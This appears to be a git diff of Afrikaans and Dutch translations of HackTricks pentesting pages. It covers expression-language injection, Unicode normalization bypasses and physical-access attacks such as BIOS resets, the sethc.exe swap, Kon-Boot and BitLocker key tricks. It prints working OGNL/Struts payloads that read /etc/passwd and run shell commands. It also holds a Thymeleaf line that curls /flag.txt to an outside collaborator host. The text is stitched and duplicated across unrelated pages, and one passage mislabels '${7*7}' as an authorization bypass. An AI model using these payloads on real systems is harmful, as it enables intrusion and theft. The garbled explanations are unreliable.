https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Gids van Direktorie
Wanneer een webtoepassing directory listing inschakelt, kan een aanvaller de inhoud van de directory bekijken en mogelijk gevoelige informatie ontdekken. Dit kan leiden tot het blootstellen van bestanden die niet bedoeld zijn om openbaar te zijn, zoals configuratiebestanden, logbestanden en broncodebestanden. Het is belangrijk om directory listing uit te schakelen om dergelijke informatieblootstelling te voorkomen.
#### Detectie
Om te controleren of directory listing is ingeschakeld, kunt u de volgende stappen volgen:
1. Navigeer naar de URL van de directory waarvan u de inhoud wilt controleren.
2. Controleer of de inhoud van de directory wordt weergegeven in de browser.
3. Als de inhoud van de directory wordt weergegeven, betekent dit dat directory listing is ingeschakeld.
#### Uitschakelen van directory listing
Om directory listing uit te schakelen, kunt u de volgende methoden gebruiken, afhankelijk van het webserverplatform:
##### Apache
Voeg de volgende regel toe aan het `.htaccess`-bestand in de betreffende directory:
```plaintext
Options -Indexes
```
##### Nginx
Voeg de volgende regel toe aan de Nginx-configuratie voor de betreffende serverblok:
```plaintext
autoindex off;
```
##### IIS
1. Open Internet Information Services (IIS) Manager.
2. Navigeer naar de betreffende website en selecteer "Directory Browsing" in het rechterdeelvenster.
3. Klik op "Disable" om directory listing uit te schakelen.
Het is belangrijk om regelmatig te controleren of directory listing is uitgeschakeld om ervoor te zorgen dat gevoelige informatie niet per ongeluk wordt blootgesteld.
### Gidslys
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
@ -195,7 +163,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* RCE **linux**
* Uitvoering van kode **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
@ -241,27 +209,21 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
```
### Inspekteer die omgewing
* `applicationScope` - globale toepassingsveranderlikes
* `applicationScope` - globale aansoekveranderlikes
* `requestScope` - versoekveranderlikes
* `initParam` - toepassingsinisialisasie-veranderlikes
* `initParam` - aansoekinisialisasieveranderlikes
* `sessionScope` - sessieveranderlikes
* `param.X` - parametervalue waar X die naam van 'n HTTP-parameter is
* `param.X` - paramwaarde waar X die naam van 'n http-parameter is
Jy sal hierdie veranderlikes na 'n string moet omskep soos:
```bash
${sessionScope.toString()}
```
#### Voorbeeld van autorisasie-omleiding
```html
${7*7}
```
Dit is een eenvoudig voorbeeld van een autorisasie-omleiding. In dit geval wordt de expressie `${7*7}` gebruikt om de uitkomst van de vermenigvuldiging van 7 met 7 weer te geven. Dit kan worden gebruikt om te controleren of de autorisatiecontrole correct is geïmplementeerd. Als de uitkomst van de expressie correct wordt weergegeven, kan dit erop wijzen dat er een kwetsbaarheid is in de autorisatiecontrole van de applicatie.
#### Magtigingsontduikingvoorbeeld
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Die toepassing kan ook gebruik maak van aangepaste veranderlikes soos:
Die aansoek kan ook aangepaste veranderlikes gebruik soos:
```bash
${user}
${password}
@ -278,14 +240,26 @@ Kyk [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,40 +2,54 @@
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem te beveg en lospryse-aanvalle te voorkom wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
**Dit is 'n opsomming van:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Kyk vir verdere besonderhede (afbeeldings geneem van daar).
## Begrip van Unicode en Normalisering
Unicode normalisering is 'n proses wat verseker dat verskillende binêre voorstellings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is krities in die hantering van strings in programmering en data verwerking. Die Unicode standaard definieer twee tipes karakter-ekwivalensie:
Unicode-normalisering is 'n proses wat verseker dat verskillende binêre voorstellings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is noodsaaklik vir die hantering van strings in programmering en dataverwerking. Die Unicode-standaard definieer twee tipes karakter-ekwivalensie:
1. **Kanoniese Ekwivalensie**: Karakters word kanonies ekwivalent beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
2. **Verenigbaarheid Ekwivalensie**: 'n Swakker vorm van ekwivalensie waar karakters dieselfde abstrakte karakter kan verteenwoordig, maar anders vertoon kan word.
Daar is **vier Unicode normaliseringsalgoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme maak gebruik van kanoniese en verenigbare normaliserings tegnieke op 'n ander manier. Vir 'n meer diepgaande begrip, kan jy hierdie tegnieke verken op [Unicode.org](https://unicode.org/).
Daar is **vier Unicode-normaliseringsalgoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme maak gebruik van kanoniese en verenigbaarheidsnormaliseringsmetodes op 'n ander manier. Vir 'n dieper begrip kan jy hierdie tegnieke verken op [Unicode.org](https://unicode.org/).
### Sleutelpunte oor Unicode Enkodering
### Sleutelpunte oor Unicode-kodering
Begrip van Unicode enkodering is van kardinale belang, veral wanneer dit kom by interoperabiliteitsprobleme tussen verskillende stelsels of tale. Hier is die belangrikste punte:
Begrip van Unicode-kodering is krities, veral wanneer dit kom by interoperabiliteitsprobleme tussen verskillende stelsels of tale. Hier is die belangrikste punte:
* **Kodepunte en Karakters**: In Unicode word elke karakter of simbool toegewys aan 'n numeriese waarde wat bekend staan as 'n "kodepunt".
* **Bytes Voorstelling**: Die kodepunt (of karakter) word verteenwoordig deur een of meer bytes in geheue. Byvoorbeeld, LATYN-1 karakters (gewoonlik in Engelsprekende lande) word voorgestel deur een byte. Tog, tale met 'n groter stel karakters benodig meer bytes vir voorstelling.
* **Enkodering**: Hierdie term verwys na hoe karakters omskep word na 'n reeks bytes. UTF-8 is 'n algemene enkoderingsstandaard waar ASCII karakters voorgestel word deur een byte, en tot vier bytes vir ander karakters.
* **Verwerking van Data**: Stelsels wat data verwerk moet bewus wees van die enkodering wat gebruik word om die bytevloei korrek te omskep na karakters.
* **Variante van UTF**: Behalwe UTF-8, is daar ander enkoderingsstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
* **Byte-voorstelling**: Die kodepunt (of karakter) word verteenwoordig deur een of meer bytes in geheue. Byvoorbeeld, LATYN-1 karakters (gewoonlik in Engelsprekende lande) word voorgestel deur een byte. Tog, tale met 'n groter stel karakters benodig meer bytes vir voorstelling.
* **Kodering**: Hierdie term verwys na hoe karakters omskep word na 'n reeks bytes. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters voorgestel word deur een byte, en tot vier bytes vir ander karakters.
* **Dataverwerking**: Stelsels wat data verwerk moet bewus wees van die gebruikte kodering om die bytevloei korrek na karakters te omskep.
* **Variante van UTF**: Behalwe UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
Dit is krities om hierdie konsepte te begryp om potensiële probleme wat voortspruit uit die kompleksiteit van Unicode en sy verskeie enkoderingsmetodes doeltreffend te hanteer en te verminder.
Dit is krities om hierdie konsepte te begryp om potensiële probleme wat voortspruit uit die kompleksiteit van Unicode en sy verskeie koderingsmetodes doeltreffend te hanteer en te verminder.
'n Voorbeeld van hoe Unicode twee verskillende bytes normaliseer wat dieselfde karakter voorstel:
```python
@ -45,17 +59,17 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### Ontdekking
As jy binne 'n webtoep 'n waarde kan vind wat teruggekaats word, kan jy probeer om **'KELVIN TEKEN' (U+0212A)** te stuur wat **genormaliseer word na "K"** (jy kan dit stuur as `%e2%84%aa`). **As 'n "K" teruggekaats word**, dan word daar op 'n of ander manier **Unicode normalisering** uitgevoer.
As jy binne 'n webtoep 'n waarde kan vind wat teruggekaats word, kan jy probeer om **'KELVIN TEKEN' (U+0212A)** te stuur wat **genormaliseer word na "K"** (jy kan dit stuur as `%e2%84%aa`). **As 'n "K" teruggekaats word**, dan word daar 'n soort **Unicode-normalisering** uitgevoer.
Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` na **unicode** is `Leonishan`.
## **Vatbare Voorbeelde**
## **Kwesbare Voorbeelde**
### **SQL Injection filter omseil**
Stel jou 'n webbladsy voor wat die karakter `'` gebruik om SQL-navrae met die gebruikersinvoer te skep. Hierdie web, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruikersinvoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die invoer van die gebruiker met behulp van **Unicode**.
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode-karakter invoeg wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87`, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode-karakter invoeg wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87`, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection-kwesbaarheid** verskyn:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (699).png>)
@ -101,9 +115,9 @@ Let daarop dat byvoorbeeld die eerste Unicode-karakter voorgestel kan word as: `
### Fuzzing Regexes
Wanneer die agterkant **gebruikerinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** genormaliseer word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Oop Herlei of SSRF kan die regex die gestuurde URL **normaliseer** maar dit dan **soos dit is** toegang gee.
Wanneer die agterkant **gebruikerinvoer met 'n regex nagaan**, is dit moontlik dat die **invoer** genormaliseer word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Oopverwysing of SSRF kan die regex die gestuurde URL **normaliseer** maar dit dan **soos dit is** benader.
Die instrument [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* maak dit moontlik om **variasies van die invoer te genereer** om die agterkant te fuzz. Vir meer inligting kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
Die instrument [**recollapse**](https://github.com/0xacb/recollapse) maak dit moontlik om **variasies van die invoer te genereer** om die agterkant te fuzz. Vir meer inligting kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
## Verwysings
@ -111,15 +125,27 @@ Die instrument [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ma
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteel-malware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,80 +2,80 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## BIOS-wagwoordherwinning en Sisteemsekuriteit
## WhiteIntel
Die **terugstel van die BIOS** kan op verskeie maniere bereik word. Die meeste moederborde bevat 'n **battery** wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings sal terugstel, insluitend die wagwoord. Alternatiewelik kan 'n **jumper op die moederbord** aangepas word om hierdie instellings terug te stel deur spesifieke pennaaldjies te verbind.
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagtewarehulpmiddels** 'n oplossing. Deur 'n stelsel van 'n **Live CD/USB** met verspreidings soos **Kali Linux** te hardloop, het jy toegang tot hulpmiddels soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS-wagwoordherwinning.
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
In gevalle waar die BIOS-wagwoord onbekend is, sal die invoer van dit verkeerd **drie keer** tipies lei tot 'n foutkode. Hierdie kode kan gebruik word op webwerwe soos [https://bios-pw.org](https://bios-pw.org) om moontlik 'n bruikbare wagwoord te herwin.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** uitprobeer by:
{% embed url="https://whiteintel.io" %}
---
## BIOS Wagwoordherwinning en Stelselsekerheid
**Die herstel van die BIOS** kan op verskeie maniere bereik word. Die meeste moederborde sluit 'n **battery** in wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings sal herstel, insluitend die wagwoord. Alternatief kan 'n **jumper op die moederbord** aangepas word om hierdie instellings te herstel deur spesifieke penne te verbind.
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagteware-hulpmiddels** 'n oplossing. Om 'n stelsel van 'n **Live CD/USB** met verspreidings soos **Kali Linux** te hardloop, bied toegang tot hulpmiddels soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS-wagwoordherwinning.
In gevalle waar die BIOS-wagwoord onbekend is, sal dit tipies 'n foutkode tot gevolg hê nadat dit **drie keer** verkeerd ingevoer is. Hierdie kode kan op webwerwe soos [https://bios-pw.org](https://bios-pw.org) gebruik word om moontlik 'n bruikbare wagwoord terug te kry.
### UEFI-sekuriteit
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die hulpmiddel **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan gedoen word met die volgende bevel:
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die hulpmiddel **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Veilige Opstart**. Dit kan gedoen word met die volgende bevel:
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM-analise en Koue Ontploffingsaanvalle
### RAM-analise en Koue-aanvalle op die Klok
RAM behou data kort nadat die krag afgesny is, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan verleng word tot **10 minute** deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue-afvoer** geskep word met behulp van hulpmiddels soos **dd.exe** en **volatility** vir analise.
RAM behou data kort na krag afgesny word, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan verleng word tot **10 minute** deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue-dump** geskep word met behulp van hulpmiddels soos **dd.exe** en **volatility** vir analise.
### Direkte Geheue Toegang (DMA) Aanvalle
### Direkte Geheue-toegang (DMA)-aanvalle
**INCEPTION** is 'n hulpmiddel wat ontwerp is vir **fisiese geheue-manipulasie** deur DMA, wat kompatibel is met interfaces soos **FireWire** en **Thunderbolt**. Dit maak dit moontlik om inlogprosedures te omseil deur geheue te verander om enige wagwoord te aanvaar. Dit is egter nie effektief teen **Windows 10**-stelsels nie.
**INCEPTION** is 'n hulpmiddel wat ontwerp is vir **fisiese geheue-manipulasie** deur DMA, wat verenigbaar is met koppelvlakke soos **FireWire** en **Thunderbolt**. Dit maak dit moontlik om inlogprosedures te omseil deur geheue te patch om enige wagwoord te aanvaar. Dit is egter ondoeltreffend teen **Windows 10**-stelsels.
### Live CD/USB vir Sisteemtoegang
### Live CD/USB vir Stelseltoegang
Die verandering van stelsel-binêre lêers soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** kan 'n opdragvenster met stelselbevoegdhede voorsien. Hulpmiddels soos **chntpw** kan gebruik word om die **SAM**-lêer van 'n Windows-installasie te wysig, wat wagwoordveranderinge moontlik maak.
Die verandering van stelsel-binêre lêers soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** kan 'n opdragpunt met stelselbevoegdhede voorsien. Hulpmiddels soos **chntpw** kan gebruik word om die **SAM**-lêer van 'n Windows-installasie te wysig, wat wagwoordveranderinge moontlik maak.
**Kon-Boot** is 'n hulpmiddel wat dit vergemaklik om in te teken op Windows-stelsels sonder om die wagwoord te ken deur tydelik die Windows-kernel of UEFI te wysig. Meer inligting is beskikbaar by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
**Kon-Boot** is 'n hulpmiddel wat dit vergemaklik om in te teken by Windows-stelsels sonder om die wagwoord te ken deur tydelik die Windows-kernel of UEFI te wysig. Meer inligting is beskikbaar by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Hantering van Windows-sekuriteitskenmerke
#### Opstart- en Herstelafkortings
#### Opstart- en Herstel-snelkoppeling
- **Supr**: Toegang tot BIOS-instellings.
- **F8**: Betree herstelmodus.
- Deur **Shift** te druk na die Windows-banier kan outomatiese aanmelding omseil word.
- **F8**: Betree Herstelmodus.
- Deur na die Windows-banner **Shift** te druk, kan outomatiese aanmelding omseil word.
#### SLEGS USB-toestelle
#### SLEAGTE USB-toestelle
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms vir die skep van **slegte USB**-toestelle wat in staat is om voorafbepaalde ladinge uit te voer wanneer dit aan 'n teikenskerm gekoppel word.
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms vir die skep van **slegte USB**-toestelle, wat in staat is om voorafbepaalde vragte uit te voer wanneer dit aan 'n teikenkoerant gekoppel word.
#### Volume Shadow Copy
Administrateurbevoegdhede maak dit moontlik om kopieë van sensitiewe lêers, insluitend die **SAM**-lêer, te skep deur middel van PowerShell.
Administrateursbevoegdhede maak die skepping van kopieë van sensitiewe lêers, insluitend die **SAM**-lêer, deur PowerShell moontlik.
### Omseiling van BitLocker-versleuteling
### Om BitLocker-versleuteling te omseil
BitLocker-versleuteling kan moontlik omseil word as die **herstelwagwoord** gevind word binne 'n geheue-afvoerlêer (**MEMORY.DMP**). Hulpmiddels soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
BitLocker-versleuteling kan moontlik omseil word as die **herstelwagwoord** binne 'n geheue-dump-lêer (**MEMORY.DMP**) gevind word. Hulpmiddels soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
### Maatskaplike Ingenieurswese vir Herstelsleuteltoevoeging
### Maatskaplike Ingenieurswese vir die Byvoeging van Herstelsleutel
'n Nuwe BitLocker-herstelsleutel kan deur maatskaplike ingenieurswese-taktieke bygevoeg word, deur 'n gebruiker te oortuig om 'n opdrag uit te voer wat 'n nuwe herstelsleutel wat uit nulle bestaan, byvoeg, en sodoende die dekripsieproses vereenvoudig.
<details>
